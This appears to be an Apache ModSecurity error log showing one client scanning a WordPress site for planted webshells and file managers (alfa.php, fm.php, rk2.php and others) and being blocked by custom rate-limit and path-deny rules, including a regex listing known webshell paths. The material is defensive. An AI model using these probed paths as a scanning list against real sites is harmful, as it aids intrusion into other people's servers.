[Mon Mar 30 03:38:01.758132 2026] [:error] [pid 4139:tid 4156] [client 40.75.84.21:22385] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "acl_mYYyhg47TZoaP9LoQAAAAMk"]
[Mon Mar 30 03:38:02.161016 2026] [:error] [pid 4033:tid 4056] [client 40.75.84.21:22495] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/default.php"] [unique_id "acl_mqnf-DXI9VblHi0N6wAAAAM"]
[Mon Mar 30 03:38:02.587449 2026] [:error] [pid 4034:tid 4083] [client 40.75.84.21:22498] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "acl_mrfAq8eF_uU4gu197AAAAEI"]
[Mon Mar 30 03:38:03.000037 2026] [:error] [pid 4034:tid 4101] [client 40.75.84.21:22512] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "acl_mrfAq8eF_uU4gu197QAAAFQ"]
[Mon Mar 30 03:38:03.402840 2026] [:error] [pid 4034:tid 4086] [client 40.75.84.21:22405] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "acl_m7fAq8eF_uU4gu198AAAAEU"]
[Mon Mar 30 03:38:03.811575 2026] [:error] [pid 4139:tid 4156] [client 40.75.84.21:22489] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "acl_m4Yyhg47TZoaP9LoSwAAAMk"]
[Mon Mar 30 03:38:04.267897 2026] [:error] [pid 4034:tid 4105] [client 40.75.84.21:22509] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acl_nLfAq8eF_uU4gu19-AAAAFg"]
[Mon Mar 30 03:38:04.680488 2026] [:error] [pid 4139:tid 4166] [client 40.75.84.21:22522] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acl_nIYyhg47TZoaP9LoUgAAANM"]
[Mon Mar 30 03:38:05.082498 2026] [:error] [pid 4040:tid 4112] [client 40.75.84.21:22432] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acl_nQxlbJV8kpOpFvY1vQAAAIQ"]
[Mon Mar 30 03:38:05.526993 2026] [:error] [pid 4040:tid 4125] [client 40.75.84.21:22343] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "acl_nQxlbJV8kpOpFvY1wgAAAJE"]
[Mon Mar 30 03:38:05.946169 2026] [:error] [pid 4040:tid 4110] [client 40.75.84.21:22506] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "acl_nQxlbJV8kpOpFvY1xAAAAII"]
[Mon Mar 30 03:38:06.350457 2026] [:error] [pid 4040:tid 4116] [client 40.75.84.21:22470] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "acl_ngxlbJV8kpOpFvY1xwAAAIg"]
[Mon Mar 30 03:38:06.773307 2026] [:error] [pid 4034:tid 4100] [client 40.75.84.21:22424] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "acl_nrfAq8eF_uU4gu1-AAAAAFM"]
[Mon Mar 30 03:38:07.177421 2026] [:error] [pid 4139:tid 4147] [client 40.75.84.21:22382] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/seoplugins/index.php"] [unique_id "acl_n4Yyhg47TZoaP9LoWQAAAMA"]
[Mon Mar 30 03:38:07.584459 2026] [:error] [pid 4033:tid 4073] [client 40.75.84.21:22524] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ini.php"] [unique_id "acl_n6nf-DXI9VblHi0N_gAAABQ"]
[Mon Mar 30 03:38:08.077403 2026] [:error] [pid 4034:tid 4084] [client 40.75.84.21:22350] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ini.php"] [unique_id "acl_oLfAq8eF_uU4gu1-CAAAAEM"]
[Mon Mar 30 03:38:08.535533 2026] [:error] [pid 4040:tid 4117] [client 40.75.84.21:22347] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ini.php"] [unique_id "acl_oAxlbJV8kpOpFvY11AAAAIk"]
[Mon Mar 30 03:38:08.934769 2026] [:error] [pid 4139:tid 4150] [client 40.75.84.21:22392] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ini.php"] [unique_id "acl_oIYyhg47TZoaP9LoYQAAAMM"]
[Mon Mar 30 03:38:09.344533 2026] [:error] [pid 4139:tid 4167] [client 40.75.84.21:22450] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acl_oYYyhg47TZoaP9LoYwAAANQ"]
[Mon Mar 30 03:38:09.787171 2026] [:error] [pid 4139:tid 4149] [client 40.75.84.21:22455] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acl_oYYyhg47TZoaP9LoZwAAAMI"]
[Mon Mar 30 03:38:10.217597 2026] [:error] [pid 4033:tid 4053] [client 40.75.84.21:22355] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acl_oqnf-DXI9VblHi0OBQAAAAA"]
[Mon Mar 30 03:38:10.898063 2026] [:error] [pid 4033:tid 4066] [client 40.75.84.21:22397] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/libraries/legacy/info.php"] [unique_id "acl_oqnf-DXI9VblHi0OCAAAAA0"]
[Mon Mar 30 03:38:11.303314 2026] [:error] [pid 4139:tid 4168] [client 40.75.84.21:22467] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acl_o4Yyhg47TZoaP9LocQAAANU"]
[Mon Mar 30 03:38:11.710819 2026] [:error] [pid 4139:tid 4167] [client 40.75.84.21:22422] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acl_o4Yyhg47TZoaP9LocwAAANQ"]
[Mon Mar 30 03:38:12.169752 2026] [:error] [pid 4034:tid 4081] [client 40.75.84.21:22486] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acl_pLfAq8eF_uU4gu1-GgAAAEA"]
[Mon Mar 30 03:38:12.647009 2026] [:error] [pid 4033:tid 4075] [client 40.75.84.21:22465] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/include.php"] [unique_id "acl_pKnf-DXI9VblHi0OFQAAABY"]
[Mon Mar 30 03:38:13.320653 2026] [:error] [pid 4040:tid 4116] [client 40.75.84.21:22492] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acl_pQxlbJV8kpOpFvY17AAAAIg"]
[Mon Mar 30 03:38:14.174144 2026] [:error] [pid 4139:tid 4150] [client 40.75.84.21:22435] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acl_poYyhg47TZoaP9LofgAAAMM"]
[Mon Mar 30 03:38:14.599544 2026] [:error] [pid 4040:tid 4129] [client 40.75.84.21:22379] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acl_pgxlbJV8kpOpFvY19wAAAJU"]
[Mon Mar 30 03:38:15.169654 2026] [:error] [pid 4139:tid 4163] [client 40.75.84.21:22340] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/about.php"] [unique_id "acl_p4Yyhg47TZoaP9LoiAAAANA"]
[Mon Mar 30 03:38:15.677852 2026] [:error] [pid 4139:tid 4161] [client 40.75.84.21:22286] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "acl_p4Yyhg47TZoaP9LojQAAAM4"]
[Mon Mar 30 03:38:16.195170 2026] [:error] [pid 4139:tid 4158] [client 40.75.84.21:22431] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "acl_qIYyhg47TZoaP9LokwAAAMs"]
[Mon Mar 30 03:38:16.709913 2026] [:error] [pid 4139:tid 4162] [client 40.75.84.21:22336] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "acl_qIYyhg47TZoaP9LomQAAAM8"]
[Mon Mar 30 03:38:17.165334 2026] [:error] [pid 4139:tid 4160] [client 40.75.84.21:22447] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "acl_qYYyhg47TZoaP9LonwAAAM0"]
[Mon Mar 30 03:38:17.571292 2026] [:error] [pid 4034:tid 4093] [client 40.75.84.21:22448] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl_qbfAq8eF_uU4gu1-JgAAAEw"]
[Mon Mar 30 03:38:17.986019 2026] [:error] [pid 4139:tid 4150] [client 40.75.84.21:22503] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl_qYYyhg47TZoaP9LoqwAAAMM"]
[Mon Mar 30 03:38:18.484595 2026] [:error] [pid 4139:tid 4159] [client 40.75.84.21:22427] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl_qoYyhg47TZoaP9LorwAAAMw"]
[Mon Mar 30 03:38:18.954110 2026] [:error] [pid 4139:tid 4157] [client 40.75.84.21:22468] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/rk2.php"] [unique_id "acl_qoYyhg47TZoaP9LosgAAAMo"]
[Mon Mar 30 03:38:19.477436 2026] [:error] [pid 4139:tid 4167] [client 40.75.84.21:22368] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acl_q4Yyhg47TZoaP9LotgAAANQ"]
[Mon Mar 30 03:38:19.924750 2026] [:error] [pid 4040:tid 4123] [client 40.75.84.21:22359] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acl_qwxlbJV8kpOpFvY2FwAAAI8"]
[Mon Mar 30 03:38:20.615391 2026] [:error] [pid 4033:tid 4059] [client 40.75.84.21:22337] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acl_rKnf-DXI9VblHi0OJAAAAAY"]
[Mon Mar 30 03:38:21.057838 2026] [:error] [pid 4034:tid 4095] [client 40.75.84.21:22409] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/28c5400b0b.php"] [unique_id "acl_rbfAq8eF_uU4gu1-KAAAAE4"]
[Mon Mar 30 03:38:21.475721 2026] [:error] [pid 4034:tid 4091] [client 40.75.84.21:22439] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acl_rbfAq8eF_uU4gu1-KwAAAEo"]
[Mon Mar 30 03:38:21.887444 2026] [:error] [pid 4139:tid 4169] [client 40.75.84.21:22345] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acl_rYYyhg47TZoaP9LowgAAANY"]
[Mon Mar 30 03:38:22.289040 2026] [:error] [pid 4139:tid 4160] [client 40.75.84.21:22387] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acl_roYyhg47TZoaP9LoxgAAAM0"]
[Mon Mar 30 03:38:22.718520 2026] [:error] [pid 4033:tid 4053] [client 40.75.84.21:22472] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wordpress/wp-includes/wp-config-sample.php"] [unique_id "acl_rqnf-DXI9VblHi0OLAAAAAA"]
[Mon Mar 30 03:38:23.168446 2026] [:error] [pid 4040:tid 4113] [client 40.75.84.21:22334] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "acl_rwxlbJV8kpOpFvY2JAAAAIU"]
[Mon Mar 30 03:38:23.568206 2026] [:error] [pid 4040:tid 4115] [client 40.75.84.21:22462] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "acl_rwxlbJV8kpOpFvY2JgAAAIc"]
[Mon Mar 30 03:38:23.973294 2026] [:error] [pid 4034:tid 4100] [client 40.75.84.21:22383] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "acl_r7fAq8eF_uU4gu1-LwAAAFM"]
[Mon Mar 30 03:38:24.377286 2026] [:error] [pid 4040:tid 4126] [client 40.75.84.21:22363] [client 40.75.84.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/.info.php"] [unique_id "acl_sAxlbJV8kpOpFvY2LQAAAJI"]
[Mon Mar 30 03:38:24.790720 2026] [:error] [pid 4040:tid 4113] [client 40.75.84.21:22358] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "acl_sAxlbJV8kpOpFvY2LwAAAIU"]
[Mon Mar 30 03:38:25.337027 2026] [:error] [pid 4139:tid 4165] [client 40.75.84.21:22459] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "acl_sYYyhg47TZoaP9Lo2QAAANI"]
[Mon Mar 30 03:38:25.748767 2026] [:error] [pid 4139:tid 4161] [client 40.75.84.21:22444] [client 40.75.84.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "acl_sYYyhg47TZoaP9Lo3QAAAM4"]
[Mon Mar 30 03:39:04.124508 2026] [:error] [pid 4139:tid 4153] [client 40.75.84.21:22460] [client 40.75.84.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.75.84.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/wp-login.php"] [unique_id "acl_2IYyhg47TZoaP9LpugAAAMY"]
